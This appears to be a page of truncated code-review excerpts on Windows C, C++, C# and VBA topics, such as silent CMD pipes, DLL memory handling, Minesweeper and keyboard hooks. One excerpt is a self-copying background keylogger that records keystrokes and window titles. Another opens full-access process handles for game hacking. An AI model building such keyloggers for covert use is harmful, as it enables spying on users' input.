Recent Entries 10
- pattern minor 112d agoSend command and get response from Windows CMD prompt silentlyNote - The response to reviews in this post is here. The need: Simply stated: `_popen()` for Windows I needed a method to programmatically send commands to the Windows 7 (and newer) `Command Prompt`, (aka `CMD console`), and return the response into a buffer without seeing a console popup. The design should provide for easy implementation into c applications needing this functionality. The design: The development environment in addition to the Windows 7 OS is an ANSI C (C99) compiler from National Instruments, and the Microsoft Windows Driver Kit for Windows 8.1. Among the design goals was to present a very small API, including well documented and straightforward usage instructions. The result is a single exported function, with a prototype having 3 arguments. In its provided form, it is intended to be built as a DLL. The only header files I used on my environment were `windows.h` and `stdlib.h`. For review consideration: The code posted is complete, and I have tested it, but I am new to using `pipes` to `stdin` and `stdout`, as well as using Windows methods for `CreateProcess(...)`. Also, because the size requirements of the response buffer cannot be known at compile time, the code also includes the ability to grow the response buffer as needed during run-time. For example, during testing I read directories recursively using `dir /s` from many locations. (excluding the root `c:\` directory) For example: ``` cd c:\dev && dir /s // approximately 1.8Mbyte buffer is returned on my system ``` I am particularly interested in having feedback focused on the following: - Pipe creation and usage - `CreateProcess` usage - Method used for dynamically growing response buffer Usage example: ``` #include "cmd_rsp.h" int main(void) { char *buf = {0}; buf = calloc(100, 1); if(!buf)return 0; cmd_rsp("dir /s", &buf, 100);//where "dir /s" could be any command line //input that results in a stdout response printf("%
- pattern minor 112d agoWindows KeyloggerI am newbie (here and in C/C++ - WinAPI) so I want to ask you, what you think about my Windows Keylogger in C++? I've worked on it a few days. Features of keylogger for now: - Self-copying to C:\ directory - Saving keystrokes to an .html file - Working in background My questions: - Are names of variables are correct? - What can I do to improve getting foreground window (actually not always works)? h3wroKeylogger.cpp ``` #include #include #include #include #include #include HWND hCurrentWindow; char sWindowTitle[256]; bool is_capslock = false; int iBackspaceCounter = 0; int save(int key) { std::ofstream out_file; out_file.open("logs.html", std::ios_base::app); std::string sLogs = ""; time_t t = time(0); if (hCurrentWindow != GetForegroundWindow()) { hCurrentWindow = GetForegroundWindow(); char title[256]; GetWindowTextA(hCurrentWindow, title, sizeof(title)); sLogs += ""; sLogs += asctime(localtime(&t)); sLogs += "Window name: "; sLogs += title; sLogs += "]"; } if ((GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0) { is_capslock = true; } switch (key) { case 1: return 0; break; case 2: return 0; break; //----------------------------------------------------------------------- //End of mouse //----------------------------------------------------------------------- case 96: iBackspaceCounter = 0; sLogs += "0"; break; case 97: iBackspaceCounter = 0; sLogs += "1"; break; case 98: iBackspaceCounter = 0; sLogs += "2"; break; case 99: iBackspaceCounter = 0; sLogs += "3"; break; case 100: iBackspaceCounter = 0; sLogs += "4"; break; case 101: iBackspaceCounter = 0; sLogs += "5"; break; case 102: iBackspaceCounter = 0; sLogs += "6"; break; case 103: iBackspaceCounter = 0; sLogs += "7"; break; case 104: iBackspaceCounter = 0; sLogs += "8"; break; case 105: iBackspaceCounter = 0; sLogs +=
- pattern minor 112d agoSafely handling memory allocation across DLL boundaries in WindowsI know that, in Windows, memory must be deallocated in the same module that allocated it. I have 2 DLLs built with different C++ compilers (VS 6 and VS 2015). In the VS 2015 module, I have an exported function which returns a variable number of items (let's say of `int` type), so I need a variable-sized buffer. I'm trying to automate as much as possible the use of the VS 2015 DLL from the VS 6 client, so I came up with this in the VS 2015 project: ``` /* dll.h */ #if EXPORTS // EXPORTS is defined just in VC2015 project # define EXPORTED __declspec(dllexport) #else # define EXPORTED __declspec(dllimport) #endif typedef int*(*Allocator_int__t)(size_t size); int* allocator_int(size_t size); #ifndef EXPORTS inline int* allocator_int(size_t size){ return new int[size]; } #endif EXPORTED void cross_boundaries_int_buffer(int*& buffer, Allocator_int__t a = allocator_int); ``` and ``` /* dll.cpp */ EXPORTED void cross_boundaries_int_buffer(int*& buffer, Allocator_int__t a/* = allocator_int*/) { buffer = a(10); buffer[0] = 0; /* ... */ buffer[9] = 9; } ``` This allows the VS 6 client DLL to do: ``` #include void client_func() { int *buffer = NULL; cross_boundaries_int_buffer(buffer); // default argument uses default allocator, **which is defined in client dll** /* use buffer elements as needed */ delete[] buffer; } ``` Is this a safe way to deal with the problem? Is there any better way?
- pattern minor 112d agoFile chunk buffer for Windows programsThe purpose of the `ChunkBuffer` code below is to designate a "chunk" from a given input file and to loop that chunk (if needed). Its operation is similar to the following pseudocode, with the important difference that the real code uses a heap-allocated buffer for performance: `chunk c; chunk_init(&c, input_file, begin_offset, size_of_chunk); while (/* still need to read bytes */) { byte b = chunk_next_byte(&c); // may loop to `begin_offset` } ` The `ChunkBuffer` code is non-portable and meant for use in Windows programs, and was written in a style close to that of the Windows API. My main goals regarding this code review: - Find coding mistakes (incorrect buffering, memory leaks, etc.) - Enhance the Windows API style of the code. `// enable Unicode support within the Windows API #define UNICODE #define _UNICODE // skip the inclusion of certain internal headers #define WIN32_LEAN_AND_MEAN #include typedef struct { BOOL fError; ///hHeap = hHeap; pCB->hFile = hFile; pCB->liOffset = liOffset; pCB->liLength = liLength; pCB->cbBufferSize = cbBufferSize; pCB->fError = FALSE; pCB->lpbBuffer = NULL; pCB->index = 0; pCB->cbAvailable = 0; pCB->liRemaining = liLength; } /// /// @brief Frees the resources allocated by a ChunkBuffer. /// @note This function does not close the handle of the file /// associated with the ChunkBuffer; this is on purpose. /// @param [in,out] pCB ChunkBuffer to deinitialize. /// void ChunkBuffer_Free(PCHUNKBUFFER pCB) { if (pCB->lpbBuffer != NULL) HeapFree(pCB->hHeap, 0, pCB->lpbBuffer); pCB->hHeap = INVALID_HANDLE_VALUE; pCB->hFile = INVALID_HANDLE_VALUE; pCB->lpbBuffer = NULL; } /// /// @brief Returns the ChunkBuffer's error flag. /// @param [in] pCB ChunkBuffer to inspect. /// @returns Whether or not the ChunkBuffer is in an error state. /// @retval TRUE
- pattern moderate 112d agoMinesweeper C++This is my improvement of a minesweeper game I took from the internet, which I am quite proud of. Nevertheless I am willing to hear your opinions, suggestions, and comments. ``` /* Minesweeper V2.0 Written by:-Shivam Shekhar Improved and understood by Eshel BM*/ #include #include #include #include //read only variables - can be changed. #define NUM_OF_BOMBS 60 //HAS TO BE LESS THAN 100 AND LESS THAN HEIGHT * WIDTH #define HEIGHT 13 //the amount of actual "buttons" in the height of the grid #define WIDTH 25 //the amount of actual "buttons" in the width of the grid #define OFFSET 3 //how far away is the minefield from the sides of the screen #define OFFSET_FLAG_W 20 //how far away is the flags counter from the left of the screen #define OFFSET_FLAG_H 1 //how far away is the flags counter from the top of the screen #define BUTTON_CH 219 //this is the ascii value of a blank square - character: '█' #define BOMB_CH 15 //'☼' //No change allowed #define SIZE SIDE_H * SIDE_W #define SIDE_W (WIDTH * 2 - 1) //the horizontal side of the grid of the minefield (buttons + space between buttons) #define SIDE_H (HEIGHT * 2 - 1) //the vertical side of the grid of the minefield (buttons + space between buttons) #define FLAGS_DISP_SIZE 4 //colors (b= background, f=foregruond): #define GRAY_F FOREGROUND_BLUE | FOREGROUND_RED | FOREGROUND_GREEN #define WHITE_F GRAY_F | FOREGROUND_INTENSITY #define GRAY_B BACKGROUND_BLUE | BACKGROUND_RED | BACKGROUND_GREEN #define WHITE_B GRAY_B | BACKGROUND_INTENSITY //function declaration: int menu(HANDLE out, HANDLE in, bool print); void instructions(); void updateFlagsDisp(CHAR_INFO * flags, int flagsLeft, bool initColor); void initFields(CHAR_INFO * mines, CHAR_INFO * map); bool validClick(COORD clickLocation, CHAR_INFO * field); void dropMines(CHAR_INFO * map, COORD firstClick); void fillMap(CHAR_INFO * map); void reveal(COORD clickLocation, CHAR_INFO *
- snippet minor 112d agoChange list separator, parse file, restore list separator to original valueFollowing up on @Vogel612's friendly advice from the `vba-rubberducking` chat room, I am posting my working code for open review. Thanks also to @Mat'sMug for the help! This will be my first task that I have completely automated via batch file scheduling, so I have included some spaces to pass error messages to the vbscript and batch file that will execute these macros. If some of the error handling seems a little excessive, it's because it is a zealous attempt by me to prevent any possible issues so that I am trusted to automate additional tasks via the scheduler in the future. Part 1 is simply in charge of changing the list separator and quitting Excel so that Excel can be re-opened with the new list separator active. ``` Option Explicit Private Declare Function SetLocaleInfo _ Lib "kernel32" Alias "SetLocaleInfoA" ( _ ByVal Locale As Long, _ ByVal LCType As Long, _ ByVal lpLCData As String) As Boolean Private Declare Function GetUserDefaultLCID% Lib "kernel32" () Private Const LOCALE_SLIST = &HC Private Const LOCALE_NAME_MAX_LENGTH = 85 Private Const LOCALE_NAME_USER_DEFAULT = vbNullString 'Get Locale Info Private Declare Function GetLocaleInfoEx _ Lib "kernel32" ( _ ByVal lpLocaleName As String, _ ByVal LCType As Long, _ ByVal lpLCData As String, _ ByVal cchData As Long) As Long Private Declare Function GetLastError Lib "kernel32" () As Long Sub M1DelimiterSetup() Dim lngTryAgainCtr As Long Dim strBuffer As String Dim strListSeparator As String Dim lpLCData As String Dim Long1 As Long lngTryAgainCtr = 0 TryAgain: lngTryAgainCtr = lngTryAgainCtr + 1 'Change delimiter to pipe Call SetLocaleInfo(GetUserDefaultLCID(), LOCALE_SLIST, "|") 'Check to make sure setting separator as pipe worked correctly strBuffer = String$(85, 0) Long1 = GetLocaleInfoEx(LOCALE_NAME_USER_DEFAULT, LOCALE_SLIST, lpLCData, 0) strListSeparator = String$(Long1, 0) Long1 = GetLocaleInfoEx(LOCALE_NAME_USER_DEFAULT, LOCALE_SLIST, strListSeparat
- pattern minor 112d agoLifeSaver: Hides and manipulates windows[ This app is now on github !! ] This is a small program I wrote to hide/show different windows on my Windows PC. This is named `LifeSaver` because it did save my life several times, whenever someone stormed into my room unexpectedly. It does have some cool uses and some naughty uses, for all people. Its structure is like a stack. You activate a window, and then press LCtrl+F7. The window will be captured and pushed into the stack. I call these the slots. There are 10 empty slots in the beginning. Slots are numbered from 0 to 9. So every captured window goes into the next available slot. When captured, the slot number is briefly flashed on the window. Popping from the stack is currently not allowed. However, clearing the whole stack is possible. Just press LCtrl+F8 to clear the stack, and start over again. To flash the slot number, I used GDI (not GDI+). Painting the digit is easy, but erasing is impossible. I did what I could do to make the window repaint itself and hence erase the digit. I hope it is okay-ish. To interact with the program, the LCtrl button must be pressed. Then there are variety of controls to manipulate the windows. They can be toggled between hidden/shown individually by pressing LCtrl+N, where N is the slot number the window was captured into and was flashed briefly on the screen. N must be pressed from the numeric pad. By pressing LCtrl+LWin, all the visible captured windows can be toggled to hidden simultaneously. This is referred to as "Special Hide" in the source code. It is special because when LCtrl+LWin is pressed again, it toggles the windows back to visible, but only specifically the ones which were hidden with "Special Hide". This is referred to as, appropriately enough, "Special Show" in the source code. If in emergency, by pressing LCtrl+RCtrl keys together, you can to kill all captured windows (whether currently visible or hidden) and followed by this program killing itself. To kill the windows, I send them `WM_QUIT` and `WM_
- pattern minor 112d agogetProcID and getProcessHandle functionsI made two functions: one to get process id and the other to get a handle with all access to that process using the process id. I'm looking for help with making these easy to use on all types of projects. The only thing I know is maybe letting the person chose the open process properties. ``` DWORD getProcID(const std::wstring &windowName, std::string &status) { DWORD processID = NULL; HWND windowHandle = NULL; windowHandle = FindWindowW(NULL, windowName.c_str()); // Gets handle to top window (class name, window name) if (windowHandle) { GetWindowThreadProcessId(windowHandle, &processID); // returns thread that made window (window, process for window) if (processID != 0) { return processID; } else { // if process id is bad status = "Error with process"; return 0; } } else { // if window name is bad/not there status = "Error with window"; return 0; } CloseHandle(windowHandle); // close window handle since we dont need it anymore return 0; } HANDLE &getProcessHandle(const DWORD processID, std::string &status) { HANDLE procHandle = NULL; if (processID != 0) { procHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID); // returns handle to process (what you want, inherit stuff, process id) if (procHandle != INVALID_HANDLE_VALUE || procHandle != NULL) { // if handle returned by openProcess is good status = "Game is ready to hack"; } else { // if handle retured by openProcess is bad status = "Error with handle"; } } else { status = "Error with process id"; } return procHandle; } ```
- pattern minor 112d agoStep by Step, ooh HotKeyStill hooked on Windows, I refactored the hook into a number of interfaces, and I wanted to support 2-step hotkeys, so I started with defining an `IHook` that can be attached, detached, exposes a property that tells whether a hook is attached or not, and raises an event when the hook receives a message: ``` public interface IHook { event EventHandler MessageReceived; void OnMessageReceived(); bool IsAttached { get; } void Attach(); void Detach(); } ``` The `HookEventArgs` simply carry a `Keys` enum value: ``` public class HookEventArgs : EventArgs { private readonly Keys _key; public HookEventArgs(Keys key) { _key = key; } public Keys Key { get { return _key; } } public new static HookEventArgs Empty {get { return new HookEventArgs(Keys.None); }} } ``` Then I extended `IHook` into a `IHotKeyHook`, which exposes a `HookInfo` value and a flag that indicates whether that hotkey is a 2-step hotkey, like Visual Studio's Ctrl+R,M for refactor/extract method: ``` public interface IHotKeyHook : IHook { HookInfo HookInfo { get; } bool IsTwoStepHotKey { get; } } ``` I also extracted a `TimerHook`, and gave it its own interface: ``` public interface ITimerHook { event EventHandler Tick; void Attach(); void Detach(); } ``` Lastly, I added a level of abstraction for an object that would be responsible for managing all these hooks and passing the events to the Rubberduck `App` class: ``` public interface IRubberduckHooks : IHook, IDisposable { IEnumerable Hooks { get; } void AddHook(THook hook) where THook : IHook; } ``` App Purely for context, here's how the `App` class consumes `IRubberduckHooks` - I have yet to actually handle the hotkeys and map them to actual commands, but the backbone is here: ``` private async void hooks_MessageReceived(object sender, HookEventArgs e) { if (sender is LowLevelKeyboardHook) { if (_skipKeyUp) {
- pattern moderate 112d agoHooked on WindowsThe code that was just added to Rubberduck will allow us to set up hotkeys for our features, so that next release, Ctrl+Shift+R brings up the refactor/rename dialog, for example. The requirements were roughly: - Let client code know when a keypress is captured in a code pane - Enable registration and handling of hotkeys So the interface looks like this: ``` public interface IKeyHook { /// /// Raised when system keyhook captures a keypress in the VBE. /// event EventHandler KeyPressed; /// /// Registers specified delegate for specified key combination. /// /// The key combination string, including modifiers ('+': Shift, '%': Alt, '^': Control). /// Any void, parameterless method that handles the hotkey. void OnHotKey(string key, Action action = null); /// /// Removes all hotkey hooks and detaches low-level keyboard hook. /// void UnHookAll(); } ``` I already had a `KeyHook` class that handled the low-level key hook for the parser, so I decided to move all the `private static extern` declarations to their dedicated `User32` and `Kernel32` static classes, and then it felt natural (but is it?) to implement the hotkey hook in a class named `KeyHook`, so here it is: ``` public class KeyHook : IKeyHook, IDisposable { private readonly VBE _vbe; private readonly IDictionary _hookedKeys = new Dictionary(); private const int GWL_WNDPROC = -4; private const int WA_INACTIVE = 0; private const int WA_ACTIVE = 1; private readonly User32.TimerProc _timerProc; private readonly User32.WndProc _oldWndProc; private readonly IntPtr _oldWndPointer; private readonly User32.WndProc _newWndProc; private readonly IntPtr _hWndVbe; private bool _isRegistered = false; private readonly User32.HookProc _proc; private static IntPtr HookId = IntPtr.Zero; private static IntPtr SetHook(User32.HookProc proc) { using (var curProcess = Process.GetCurrentProcess